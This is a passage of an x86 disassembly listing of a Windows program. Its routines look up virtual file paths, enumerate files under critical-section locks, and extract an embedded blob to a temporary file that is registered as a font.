call ds:dword_511708 ; GetFullPathNameA
mov [ebp+var_28], eax
push [ebp+var_28]
mov eax, ds:dword_511908
add eax, 810h
push eax
call ds:dword_5117C8 ; CharUpperBuffA
mov ecx, [ebp+var_28]
call sub_501470
mov eax, ds:dword_511908
mov eax, [eax+0Ch]
mov [ebp+var_20], eax
and [ebp+var_1C], 0
and [ebp+var_2C], 0
and [ebp+var_30], 0
mov eax, ds:dword_511908
mov ecx, [eax+0C14h]
mov edi, ds:dword_511908
add edi, 10h
mov esi, ds:dword_511908
add esi, 810h
xor eax, eax
repe cmpsb
jnz loc_4FF614
mov eax, ds:dword_511908
mov eax, [eax+0C14h]
mov ecx, ds:dword_511908
lea eax, [ecx+eax+810h]
mov [ebp+var_3C], eax
and [ebp+var_38], 0
push 5Ch
push [ebp+var_3C]
call sub_4FC700
pop ecx
pop ecx
mov [ebp+var_34], eax
cmp [ebp+var_34], 0
jz short loc_4FF369
mov eax, [ebp+var_34]
sub eax, [ebp+var_3C]
inc eax
mov [ebp+var_38], eax
jmp short loc_4FF395
; ---------------------------------------------------------------------------
loc_4FF369: ; CODE XREF: sub_4FF252+109j
mov eax, ds:dword_511684
mov eax, [eax+24h]
and eax, 20h
test eax, eax
jnz short loc_4FF391
push 0FFFFFFFFh
and [ebp+var_50], 0
lea eax, [ebp+var_10]
push eax
call sub_4FC496
pop ecx
pop ecx
mov eax, [ebp+var_50]
jmp loc_4FF62D
; ---------------------------------------------------------------------------
loc_4FF391: ; CODE XREF: sub_4FF252+124j
and [ebp+var_38], 0
loc_4FF395: ; CODE XREF: sub_4FF252+115j
mov edi, [ebp+var_3C]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
test ecx, ecx
jnz short loc_4FF3B1
cmp [ebp+arg_8], 0
jnz short loc_4FF3B1
jmp loc_4FF5EB
; ---------------------------------------------------------------------------
loc_4FF3B1: ; CODE XREF: sub_4FF252+152j
; sub_4FF252+158j
cmp [ebp+arg_8], 0
jz short loc_4FF3D4
mov eax, [ebp+arg_8]
cmp dword ptr [eax], 0
jz short loc_4FF3D4
mov eax, [ebp+arg_8]
mov ecx, ds:dword_511908
mov eax, [eax]
sub eax, [ecx+8]
sar eax, 4
inc eax
mov [ebp+var_1C], eax
loc_4FF3D4: ; CODE XREF: sub_4FF252+163j
; sub_4FF252+16Bj
jmp short loc_4FF3DD
; ---------------------------------------------------------------------------
loc_4FF3D6: ; CODE XREF: sub_4FF252:loc_4FF412j
mov eax, [ebp+var_1C]
inc eax
mov [ebp+var_1C], eax
loc_4FF3DD: ; CODE XREF: sub_4FF252:loc_4FF3D4j
mov eax, [ebp+var_1C]
cmp eax, [ebp+var_20]
jnb short loc_4FF414
lea eax, [ebp+var_2C]
push eax
lea eax, [ebp+var_30]
push eax
mov eax, [ebp+var_1C]
shl eax, 4
mov ecx, ds:dword_511908
mov ecx, [ecx+8]
mov eax, [ecx+eax]
push dword ptr [eax]
push [ebp+var_38]
push [ebp+var_3C]
call sub_4FF166
test eax, eax
jz short loc_4FF412
jmp short loc_4FF414
; ---------------------------------------------------------------------------
loc_4FF412: ; CODE XREF: sub_4FF252+1BCj
jmp short loc_4FF3D6
; ---------------------------------------------------------------------------
loc_4FF414: ; CODE XREF: sub_4FF252+191j
; sub_4FF252+1BEj
mov eax, [ebp+var_1C]
cmp eax, [ebp+var_20]
jnb loc_4FF5EB
mov edi, [ebp+var_2C]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
mov [ebp+var_48], ecx
movzx eax, [ebp+var_30]
test eax, eax
jz short loc_4FF4AC
jmp short loc_4FF441
; ---------------------------------------------------------------------------
loc_4FF43A: ; CODE XREF: sub_4FF252:loc_4FF4AAj
mov eax, [ebp+var_1C]
inc eax
mov [ebp+var_1C], eax
loc_4FF441: ; CODE XREF: sub_4FF252+1E6j
mov eax, [ebp+var_20]
dec eax
cmp [ebp+var_1C], eax
jnb short loc_4FF4AC
mov eax, [ebp+var_1C]
inc eax
shl eax, 4
mov ecx, ds:dword_511908
mov ecx, [ecx+8]
mov eax, [ecx+eax]
mov edi, [eax]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
mov eax, [ebp+var_48]
add eax, [ebp+var_38]
cmp ecx, eax
jb short loc_4FF4A8
mov ecx, [ebp+var_48]
add ecx, [ebp+var_38]
mov eax, [ebp+var_1C]
shl eax, 4
mov edx, ds:dword_511908
mov edx, [edx+8]
mov eax, [edx+eax]
mov edi, [eax]
mov eax, [ebp+var_1C]
inc eax
shl eax, 4
mov edx, ds:dword_511908
mov edx, [edx+8]
mov eax, [edx+eax]
mov esi, [eax]
xor eax, eax
repe cmpsb
jz short loc_4FF4AA
loc_4FF4A8: ; CODE XREF: sub_4FF252+21Fj
jmp short loc_4FF4AC
; ---------------------------------------------------------------------------
loc_4FF4AA: ; CODE XREF: sub_4FF252+254j
jmp short loc_4FF43A
; ---------------------------------------------------------------------------
loc_4FF4AC: ; CODE XREF: sub_4FF252+1E4j
; sub_4FF252+1F6j ...
mov eax, [ebp+var_1C]
shl eax, 4
mov ecx, ds:dword_511908
mov ecx, [ecx+8]
mov eax, [ecx+eax+4]
add eax, [ebp+var_38]
mov [ebp+var_2C], eax
mov eax, [ebp+var_1C]
shl eax, 4
mov ecx, ds:dword_511908
mov ecx, [ecx+8]
add ecx, eax
mov [ebp+var_40], ecx
mov eax, [ebp+var_40]
mov eax, [eax]
mov [ebp+var_44], eax
xor eax, eax
mov edi, [ebp+arg_4]
stosd
push 41h
pop ecx
xor eax, eax
mov edi, [ebp+arg_4]
add edi, 2Ch
rep stosd
cmp [ebp+var_48], 104h
jnb short loc_4FF505
mov eax, [ebp+var_48]
mov [ebp+var_54], eax
jmp short loc_4FF50C
; ---------------------------------------------------------------------------
loc_4FF505: ; CODE XREF: sub_4FF252+2A9j
mov [ebp+var_54], 104h
loc_4FF50C: ; CODE XREF: sub_4FF252+2B1j
mov ecx, [ebp+var_54]
mov esi, [ebp+var_2C]
mov edi, [ebp+arg_4]
add edi, 2Ch
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
xor eax, eax
mov edi, [ebp+arg_4]
add edi, 130h
stosd
stosd
stosd
stosw
cmp [ebp+var_48], 0Eh
jbe short loc_4FF545
mov [ebp+var_58], 0Eh
jmp short loc_4FF54B
; ---------------------------------------------------------------------------
loc_4FF545: ; CODE XREF: sub_4FF252+2E8j
mov eax, [ebp+var_48]
mov [ebp+var_58], eax
loc_4FF54B: ; CODE XREF: sub_4FF252+2F1j
mov ecx, [ebp+var_58]
mov esi, [ebp+var_2C]
mov edi, [ebp+arg_4]
add edi, 130h
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
movzx eax, [ebp+var_30]
neg eax
sbb eax, eax
and eax, 0Fh
inc eax
mov ecx, [ebp+arg_4]
mov [ecx], eax
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_44]
mov ecx, [ecx+8]
mov [eax+20h], ecx
mov eax, [ebp+var_40]
mov eax, [eax+0Ch]
mov ecx, [ebp+arg_4]
mov edx, [eax+1Ch]
mov [ecx+4], edx
mov eax, [eax+20h]
mov [ecx+8], eax
mov eax, [ebp+var_40]
mov eax, [eax+0Ch]
mov ecx, [ebp+arg_4]
mov edx, [eax+1Ch]
mov [ecx+0Ch], edx
mov eax, [eax+20h]
mov [ecx+10h], eax
mov eax, [ebp+var_40]
mov eax, [eax+0Ch]
mov ecx, [ebp+arg_4]
mov edx, [eax+1Ch]
mov [ecx+14h], edx
mov eax, [eax+20h]
mov [ecx+18h], eax
cmp [ebp+arg_8], 0
jz short loc_4FF5D2
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_40]
mov [eax], ecx
loc_4FF5D2: ; CODE XREF: sub_4FF252+376j
push 0FFFFFFFFh
mov [ebp+var_5C], 1
lea eax, [ebp+var_10]
push eax
call sub_4FC496
pop ecx
pop ecx
mov eax, [ebp+var_5C]
jmp short loc_4FF62D
; ---------------------------------------------------------------------------
loc_4FF5EB: ; CODE XREF: sub_4FF252+15Aj
; sub_4FF252+1C8j
cmp [ebp+arg_8], 0
jz short loc_4FF60C
mov eax, ds:dword_511908
mov eax, [eax+0Ch]
shl eax, 4
mov ecx, ds:dword_511908
mov ecx, [ecx+8]
add ecx, eax
mov eax, [ebp+arg_8]
mov [eax], ecx
loc_4FF60C: ; CODE XREF: sub_4FF252+39Dj
push 12h
call ds:dword_51178C ; RtlRestoreLastWin32Error
loc_4FF614: ; CODE XREF: sub_4FF252+D1j
or [ebp+var_4], 0FFFFFFFFh
call sub_4FF61F
jmp short loc_4FF62B
sub_4FF252 endp
; =============== S U B R O U T I N E =======================================
sub_4FF61F proc near ; CODE XREF: sub_4FF252+3C6p
; DATA XREF: _6:0050E2D8o
push offset dword_5118C8
call ds:dword_511754 ; RtlLeaveCriticalSection
retn
sub_4FF61F endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4FF252
loc_4FF62B: ; CODE XREF: sub_4FF252+3CBj
xor eax, eax
loc_4FF62D: ; CODE XREF: sub_4FF252+51j
; sub_4FF252+13Aj ...
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn 0Ch
; END OF FUNCTION CHUNK FOR sub_4FF252
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4FF63E proc near ; CODE XREF: sub_50A334+Ep
; sub_50A361+7Dp ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
and [ebp+var_4], 0
mov eax, [ebp+arg_8]
or dword ptr [eax], 0FFFFFFFFh
push 0Ch
call sub_50835A
pop ecx
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_4FF67B
mov eax, [ebp+var_8]
and dword ptr [eax], 0
mov eax, [ebp+var_8]
and dword ptr [eax+4], 0
mov eax, [ebp+var_8]
and dword ptr [eax+8], 0
mov eax, [ebp+var_8]
mov [ebp+var_C], eax
jmp short loc_4FF67F
; ---------------------------------------------------------------------------
loc_4FF67B: ; CODE XREF: sub_4FF63E+1Fj
and [ebp+var_C], 0
loc_4FF67F: ; CODE XREF: sub_4FF63E+3Bj
mov eax, [ebp+var_C]
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
and dword ptr [eax], 0
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4FF252
test eax, eax
jz short loc_4FF6D8
push 0
push [ebp+arg_0]
call sub_5092CA
pop ecx
pop ecx
mov ecx, [ebp+var_4]
mov [ecx+4], eax
mov eax, [ebp+var_4]
and dword ptr [eax+8], 0
push [ebp+var_4]
push [ebp+var_4]
mov ecx, ds:dword_5118EC
call sub_4FC000
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_4]
mov [eax], ecx
and [ebp+var_4], 0
push 1
pop eax
jmp short locret_4FF6DA
; ---------------------------------------------------------------------------
loc_4FF6D8: ; CODE XREF: sub_4FF63E+5Dj
xor eax, eax
locret_4FF6DA: ; CODE XREF: sub_4FF63E+98j
leave
retn 0Ch
sub_4FF63E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4FF6DE proc near ; CODE XREF: sub_50A626+12p
; sub_50A657+19p
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
; FUNCTION CHUNK AT 004FF805 SIZE 00000013 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_50E2F0
push offset sub_4FC54C
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
sub esp, 14h
push ebx
push esi
push edi
mov eax, ds:dword_5118EC
mov [ebp+var_20], eax
cmp [ebp+var_20], 0
jz short loc_4FF724
mov eax, [ebp+var_20]
add eax, 10h
push eax
call ds:dword_50E01C ; RtlEnterCriticalSection
mov [ebp+var_24], 1
jmp short loc_4FF728
; ---------------------------------------------------------------------------
loc_4FF724: ; CODE XREF: sub_4FF6DE+31j
and [ebp+var_24], 0
loc_4FF728: ; CODE XREF: sub_4FF6DE+44j
movzx eax, [ebp+var_24]
test eax, eax
jz loc_4FF805
and [ebp+var_4], 0
push [ebp+arg_0]
mov ecx, ds:dword_5118EC
call sub_50B871
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 0
jz loc_4FF7DE
mov eax, [ebp+arg_8]
and dword ptr [eax], 0
mov eax, [ebp+var_1C]
cmp dword ptr [eax+8], 0
jnz short loc_4FF778
push [ebp+var_1C]
push [ebp+arg_4]
mov eax, [ebp+var_1C]
push dword ptr [eax+4]
call sub_4FF252
mov ecx, [ebp+arg_8]
mov [ecx], eax
loc_4FF778: ; CODE XREF: sub_4FF6DE+82j
mov eax, [ebp+arg_8]
cmp dword ptr [eax], 0
jnz short loc_4FF7C5
mov eax, [ebp+var_1C]
cmp dword ptr [eax+8], 0
jnz short loc_4FF7B1
push [ebp+arg_4]
mov eax, [ebp+var_1C]
push dword ptr [eax+4]
call ds:dword_5116D0 ; FindFirstFileA
mov ecx, [ebp+var_1C]
mov [ecx+8], eax
mov eax, [ebp+var_1C]
xor ecx, ecx
cmp dword ptr [eax+8], 0FFFFFFFFh
setnz cl
mov eax, [ebp+arg_8]
mov [eax], ecx
jmp short loc_4FF7C5
; ---------------------------------------------------------------------------
loc_4FF7B1: ; CODE XREF: sub_4FF6DE+A9j
push [ebp+arg_4]
mov eax, [ebp+var_1C]
push dword ptr [eax+8]
call ds:dword_5116D4 ; FindNextFileA
mov ecx, [ebp+arg_8]
mov [ecx], eax
loc_4FF7C5: ; CODE XREF: sub_4FF6DE+A0j
; sub_4FF6DE+D1j
push 0FFFFFFFFh
mov [ebp+var_2C], 1
lea eax, [ebp+var_10]
push eax
call sub_4FC496
pop ecx
pop ecx
mov eax, [ebp+var_2C]
jmp short loc_4FF807
; ---------------------------------------------------------------------------
loc_4FF7DE: ; CODE XREF: sub_4FF6DE+6Fj
or [ebp+var_4], 0FFFFFFFFh
call sub_4FF7E9
jmp short loc_4FF805
sub_4FF6DE endp
; =============== S U B R O U T I N E =======================================
sub_4FF7E9 proc near ; CODE XREF: sub_4FF6DE+104p
mov eax, ds:dword_5118EC
mov [ebp-28h], eax
cmp dword ptr [ebp-28h], 0
jz short locret_4FF804
mov eax, [ebp-28h]
add eax, 10h
push eax
call ds:dword_50E018 ; RtlLeaveCriticalSection
locret_4FF804: ; CODE XREF: sub_4FF7E9+Cj
retn
sub_4FF7E9 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4FF6DE
loc_4FF805: ; CODE XREF: sub_4FF6DE+50j
; sub_4FF6DE+109j
xor eax, eax
loc_4FF807: ; CODE XREF: sub_4FF6DE+FEj
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn 0Ch
; END OF FUNCTION CHUNK FOR sub_4FF6DE
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4FF818 proc near ; CODE XREF: sub_500741+CEp
; sub_50A5FF+Bp
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
; FUNCTION CHUNK AT 004FF939 SIZE 00000013 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_50E300
push offset sub_4FC54C
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
sub esp, 24h
push ebx
push esi
push edi
mov eax, ds:dword_5118EC
mov [ebp+var_28], eax
cmp [ebp+var_28], 0
jz short loc_4FF85E
mov eax, [ebp+var_28]
add eax, 10h
push eax
call ds:dword_50E01C ; RtlEnterCriticalSection
mov [ebp+var_2C], 1
jmp short loc_4FF862
; ---------------------------------------------------------------------------
loc_4FF85E: ; CODE XREF: sub_4FF818+31j
and [ebp+var_2C], 0
loc_4FF862: ; CODE XREF: sub_4FF818+44j
movzx eax, [ebp+var_2C]
test eax, eax
jz loc_4FF939
and [ebp+var_4], 0
push [ebp+arg_0]
mov ecx, ds:dword_5118EC
call sub_50B871
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 0
jz loc_4FF912
mov eax, [ebp+var_1C]
cmp dword ptr [eax+8], 0
jz short loc_4FF8A2
mov eax, [ebp+var_1C]
push dword ptr [eax+8]
call ds:dword_5116A4 ; CloseHandle
loc_4FF8A2: ; CODE XREF: sub_4FF818+7Cj
push [ebp+arg_0]
mov ecx, ds:dword_5118EC
call sub_50B8E0
mov [ebp+var_24], eax
mov eax, [ebp+var_24]
mov [ebp+var_20], eax
cmp [ebp+var_20], 0
jz short loc_4FF8EC
mov eax, [ebp+var_20]
mov eax, [eax+4]
mov [ebp+var_30], eax
push [ebp+var_30]
call sub_5083DD
pop ecx
push 1
pop eax
and eax, 1
test eax, eax
jz short loc_4FF8E4
push [ebp+var_20]
call sub_5083DD
pop ecx
loc_4FF8E4: ; CODE XREF: sub_4FF818+C1j
mov eax, [ebp+var_20]
mov [ebp+var_38], eax
jmp short loc_4FF8F0
; ---------------------------------------------------------------------------
loc_4FF8EC: ; CODE XREF: sub_4FF818+A5j
and [ebp+var_38], 0
loc_4FF8F0: ; CODE XREF: sub_4FF818+D2j
mov eax, [ebp+arg_4]
mov dword ptr [eax], 1
push 0FFFFFFFFh
mov [ebp+var_3C], 1
lea eax, [ebp+var_10]
push eax
call sub_4FC496
pop ecx
pop ecx
mov eax, [ebp+var_3C]
jmp short loc_4FF93B
; ---------------------------------------------------------------------------
loc_4FF912: ; CODE XREF: sub_4FF818+6Fj
or [ebp+var_4], 0FFFFFFFFh
call sub_4FF91D
jmp short loc_4FF939
sub_4FF818 endp
; =============== S U B R O U T I N E =======================================
sub_4FF91D proc near ; CODE XREF: sub_4FF818+FEp
; DATA XREF: _6:0050E308o
mov eax, ds:dword_5118EC
mov [ebp-34h], eax
cmp dword ptr [ebp-34h], 0
jz short locret_4FF938
mov eax, [ebp-34h]
add eax, 10h
push eax
call ds:dword_50E018 ; RtlLeaveCriticalSection
locret_4FF938: ; CODE XREF: sub_4FF91D+Cj
retn
sub_4FF91D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4FF818
loc_4FF939: ; CODE XREF: sub_4FF818+50j
; sub_4FF818+103j
xor eax, eax
loc_4FF93B: ; CODE XREF: sub_4FF818+F8j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn 8
; END OF FUNCTION CHUNK FOR sub_4FF818
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4FF94C proc near ; CODE XREF: sub_50B23E+20p
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_78 = byte ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6C = dword ptr -6Ch
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
; FUNCTION CHUNK AT 004FFAAF SIZE 000001F8 BYTES
; FUNCTION CHUNK AT 004FFD11 SIZE 00000013 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_50E310
push offset sub_4FC54C
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
sub esp, 80h
push ebx
push esi
push edi
or [ebp+var_20], 0FFFFFFFFh
or [ebp+var_28], 0FFFFFFFFh
and [ebp+var_2C], 0
and [ebp+var_1C], 0
and [ebp+var_24], 0
push 0
lea eax, [ebp+var_20]
push eax
push 3
push 80000000h
push [ebp+arg_0]
call sub_500346
test eax, eax
jz loc_4FFD11
cmp [ebp+var_20], 0FFFFFFFFh
jz loc_4FFD11
mov eax, ds:dword_5118E4
mov [ebp+var_6C], eax
cmp [ebp+var_6C], 0
jz short loc_4FF9D0
mov eax, [ebp+var_6C]
add eax, 10h
push eax
call ds:dword_50E01C ; RtlEnterCriticalSection
mov [ebp+var_70], 1
jmp short loc_4FF9D4
; ---------------------------------------------------------------------------
loc_4FF9D0: ; CODE XREF: sub_4FF94C+6Fj
and [ebp+var_70], 0
loc_4FF9D4: ; CODE XREF: sub_4FF94C+82j
movzx eax, [ebp+var_70]
test eax, eax
jz loc_4FFD11
and [ebp+var_4], 0
mov eax, [ebp+arg_4]
and dword ptr [eax], 0
push [ebp+var_20]
mov ecx, ds:dword_5118E4
call sub_50B871
mov [ebp+var_30], eax
mov eax, [ebp+var_30]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_34], eax
cmp [ebp+var_30], 0
jnz short loc_4FFA1E
push ds:off_50E4F8
push 22h
push ds:off_50E4FC
call sub_50848C
loc_4FFA1E: ; CODE XREF: sub_4FF94C+BDj
mov eax, ds:dword_5118E8
mov [ebp+var_74], eax
cmp [ebp+var_74], 0
jz short loc_4FFA3F
mov eax, [ebp+var_74]
add eax, 10h
push eax
call ds:dword_50E01C ; RtlEnterCriticalSection
mov [ebp+var_78], 1
jmp short loc_4FFA43
; ---------------------------------------------------------------------------
loc_4FFA3F: ; CODE XREF: sub_4FF94C+DEj
and [ebp+var_78], 0
loc_4FFA43: ; CODE XREF: sub_4FF94C+F1j
movzx eax, [ebp+var_78]
test eax, eax
jz short loc_4FFAAF
mov [ebp+var_4], 1
mov eax, [ebp+var_30]
push dword ptr [eax]
mov ecx, ds:dword_5118E8
call sub_50B871
test eax, eax
jz short loc_4FFA88
push 0FFFFFFFFh
mov [ebp+var_84], 1
lea eax, [ebp+var_10]
push eax
call sub_4FC496
pop ecx
pop ecx
mov eax, [ebp+var_84]
jmp loc_4FFD13
; ---------------------------------------------------------------------------
loc_4FFA88: ; CODE XREF: sub_4FF94C+118j
and [ebp+var_4], 0
call sub_4FFA93
jmp short loc_4FFAAF
sub_4FF94C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4FFA93 proc near ; CODE XREF: sub_4FF94C+140p
; DATA XREF: _6:0050E324o
mov eax, ds:dword_5118E8
mov [ebp-7Ch], eax
cmp dword ptr [ebp-7Ch], 0
jz short locret_4FFAAE
mov eax, [ebp-7Ch]
add eax, 10h
push eax
call ds:dword_50E018 ; RtlLeaveCriticalSection
locret_4FFAAE: ; CODE XREF: sub_4FFA93+Cj
retn
sub_4FFA93 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4FF94C
loc_4FFAAF: ; CODE XREF: sub_4FF94C+FDj
; sub_4FF94C+145j
push 104h
call sub_50835A
pop ecx
mov [ebp+var_50], eax
mov eax, [ebp+var_50]
mov [ebp+var_2C], eax
push 104h
call sub_50835A
pop ecx
mov [ebp+var_54], eax
mov eax, [ebp+var_54]
mov [ebp+var_1C], eax
push [ebp+var_1C]
push 104h
call ds:dword_511734 ; GetTempPathA
push [ebp+var_2C]
push 0
push offset aMbx ; "mbx"
push [ebp+var_1C]
call ds:dword_511730 ; GetTempFileNameA
push 0
push 0
push 4
push 0
push 1
push 40000000h
push [ebp+var_2C]
call ds:dword_5116A8 ; CreateFileA
mov [ebp+var_28], eax
cmp [ebp+var_28], 0FFFFFFFFh
jnz short loc_4FFB3B
push 0FFFFFFFFh
mov [ebp+var_88], 1
lea eax, [ebp+var_10]
push eax
call sub_4FC496
pop ecx
pop ecx
mov eax, [ebp+var_88]
jmp loc_4FFD13
; ---------------------------------------------------------------------------
loc_4FFB3B: ; CODE XREF: sub_4FF94C+1CBj
push 1000h
call sub_50835A
pop ecx
mov [ebp+var_58], eax
mov eax, [ebp+var_58]
mov [ebp+var_24], eax
and [ebp+var_38], 0
loc_4FFB53: ; CODE XREF: sub_4FF94C+2BFj
mov eax, [ebp+var_34]
mov ecx, [ebp+var_38]
cmp ecx, [eax+8]
jnb loc_4FFC10
mov eax, [ebp+var_34]
mov eax, [eax+8]
mov [ebp+var_48], eax
cmp [ebp+var_48], 1000h
jbe short loc_4FFB7B
mov [ebp+var_48], 1000h
loc_4FFB7B: ; CODE XREF: sub_4FF94C+226j
lea eax, [ebp+var_40]
push eax
push 0
lea eax, [ebp+var_3C]
push eax
push [ebp+var_48]
push [ebp+var_24]
push [ebp+var_20]
call sub_501177
test eax, eax
jz short loc_4FFB9D
cmp [ebp+var_40], 0
jnz short loc_4FFBBF
loc_4FFB9D: ; CODE XREF: sub_4FF94C+249j
push 0FFFFFFFFh
mov [ebp+var_8C], 1
lea eax, [ebp+var_10]
push eax
call sub_4FC496
pop ecx
pop ecx
mov eax, [ebp+var_8C]
jmp loc_4FFD13
; ---------------------------------------------------------------------------
loc_4FFBBF: ; CODE XREF: sub_4FF94C+24Fj
push 0
lea eax, [ebp+var_44]
push eax
push [ebp+var_3C]
push [ebp+var_24]
push [ebp+var_28]
call ds:dword_5117BC ; WriteFile
test eax, eax
jz short loc_4FFBE0
mov eax, [ebp+var_44]
cmp eax, [ebp+var_3C]
jz short loc_4FFC02
loc_4FFBE0: ; CODE XREF: sub_4FF94C+28Aj
push 0FFFFFFFFh
mov [ebp+var_90], 1
lea eax, [ebp+var_10]
push eax
call sub_4FC496
pop ecx
pop ecx
mov eax, [ebp+var_90]
jmp loc_4FFD13
; ---------------------------------------------------------------------------
loc_4FFC02: ; CODE XREF: sub_4FF94C+292j
mov eax, [ebp+var_38]
add eax, [ebp+var_3C]
mov [ebp+var_38], eax
jmp loc_4FFB53
; ---------------------------------------------------------------------------
loc_4FFC10: ; CODE XREF: sub_4FF94C+210j
push [ebp+var_28]
call ds:dword_5116A4 ; CloseHandle
or [ebp+var_28], 0FFFFFFFFh
push [ebp+var_2C]
call ds:dword_5117DC ; AddFontResourceA
mov ecx, [ebp+arg_4]
mov [ecx], eax
mov eax, [ebp+arg_4]
cmp dword ptr [eax], 0
jnz short loc_4FFC3C
push [ebp+var_2C]
call ds:dword_5116C0 ; DeleteFileA
loc_4FFC3C: ; CODE XREF: sub_4FF94C+2E5j
push 8
call sub_50835A
pop ecx
mov [ebp+var_5C], eax
cmp [ebp+var_5C], 0
jz short loc_4FFC67
mov eax, [ebp+var_5C]
and dword ptr [eax], 0
mov eax, [ebp+var_5C]
mov ecx, [ebp+var_2C]
mov [eax+4], ecx
mov eax, [ebp+var_5C]
mov [ebp+var_94], eax
jmp short loc_4FFC6E
; ---------------------------------------------------------------------------
loc_4FFC67: ; CODE XREF: sub_4FF94C+2FFj
and [ebp+var_94], 0
loc_4FFC6E: ; CODE XREF: sub_4FF94C+319j
push [ebp+var_94]
mov eax, [ebp+var_30]
push dword ptr [eax]
mov ecx, ds:dword_5118E8
call sub_4FC000
and [ebp+var_2C], 0
push 0FFFFFFFFh
mov [ebp+var_98], 1
lea eax, [ebp+var_10]
push eax
call sub_4FC496
pop ecx
pop ecx
mov eax, [ebp+var_98]
jmp short loc_4FFD13
; END OF FUNCTION CHUNK FOR sub_4FF94C
; =============== S U B R O U T I N E =======================================
sub_4FFCA7 proc near ; DATA XREF: _6:0050E318o
mov eax, ds:dword_5118E4
mov [ebp-80h], eax
cmp dword ptr [ebp-80h], 0
jz short loc_4FFCC2
mov eax, [ebp-80h]
add eax, 10h
push eax
call ds:dword_50E018 ; RtlLeaveCriticalSection
loc_4FFCC2: ; CODE XREF: sub_4FFCA7+Cj
cmp dword ptr [ebp-20h], 0FFFFFFFFh
jz short loc_4FFCD4
lea eax, [ebp-4Ch]
push eax
push dword ptr [ebp-20h]
call sub_500741
loc_4FFCD4: ; CODE XREF: sub_4FFCA7+1Fj
cmp dword ptr [ebp-28h], 0FFFFFFFFh
jz short loc_4FFCE3
push dword ptr [ebp-28h]
call ds:dword_5116A4 ; CloseHandle
loc_4FFCE3: ; CODE XREF: sub_4FFCA7+31j
mov eax, [ebp-2Ch]
mov [ebp-60h], eax
push dword ptr [ebp-60h]
call sub_5083DD
pop ecx
mov eax, [ebp-1Ch]
mov [ebp-64h], eax
push dword ptr [ebp-64h]
call sub_5083DD
pop ecx
mov eax, [ebp-24h]
mov [ebp-68h], eax
push dword ptr [ebp-68h]
call sub_5083DD
pop ecx
retn
sub_4FFCA7 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4FF94C
loc_4FFD11: ; CODE XREF: sub_4FF94C+53j
; sub_4FF94C+5Dj ...
xor eax, eax
loc_4FFD13: ; CODE XREF: sub_4FF94C+137j
; sub_4FF94C+1EAj ...
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn 8
; END OF FUNCTION CHUNK FOR sub_4FF94C
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4FFD24 proc near ; CODE XREF: sub_50B277+20p
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
